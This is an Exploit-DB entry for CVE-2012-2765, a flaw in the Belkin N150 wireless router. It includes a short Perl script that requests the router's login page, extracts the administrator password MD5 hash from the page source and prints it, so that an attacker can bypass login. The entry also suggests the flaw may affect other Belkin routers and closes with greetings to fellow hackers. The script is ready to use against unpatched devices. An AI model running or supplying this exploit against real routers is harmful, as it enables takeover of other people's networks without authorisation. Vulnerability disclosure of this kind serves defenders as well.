Belkin N150 Wireless Router Password Disclosure

ID EDB-ID:18859
Type exploitdb
Reporter Avinash Tangirala
Modified 2012-05-11T00:00:00


Belkin N150 Wireless Router Password Disclosure. CVE-2012-2765. Webapps exploit for hardware platform

Belkin N150 Wireless MD5 Password Disclosure

Firmware Version :  1.00.22 (Aug 31 2010 14:36:01)
Boot Version     :  1.20 
Hardware         :  F7D1301 v1 (01A) 
Author           :  Avinash Tangirala

Vulnerability Details:

The Router's web interface on default reveals the administrator password in MD5 hash thereby one can bypass the login completely.
There is a similar exploit for Belkin G wireless router by aodrulez. Therefore this exploit might* work possibly on every Belkin router created :D.

Exploit :
use strict; 
use LWP::Simple;
print "\n  'Belkin N150 Wireless Router' Admin Exploit ";
print "\n ---------------------------------------------\n\n";
print "[+] Enter the Router's IP Address : ";
my $ip=<STDIN>;
$ip=get("http://".$ip."/login.stm") or die "\n[!] check ip and try again \n";
my @arr=$ip =~ m/var password = "(.*)";/g;
print "[+] Admin Password = ".@arr[0]." (MD5 Hash).\n";

Greetz to:

1.) Aodrulez  :  My Mentor 
2.) Arkz
3.) neurotoxIN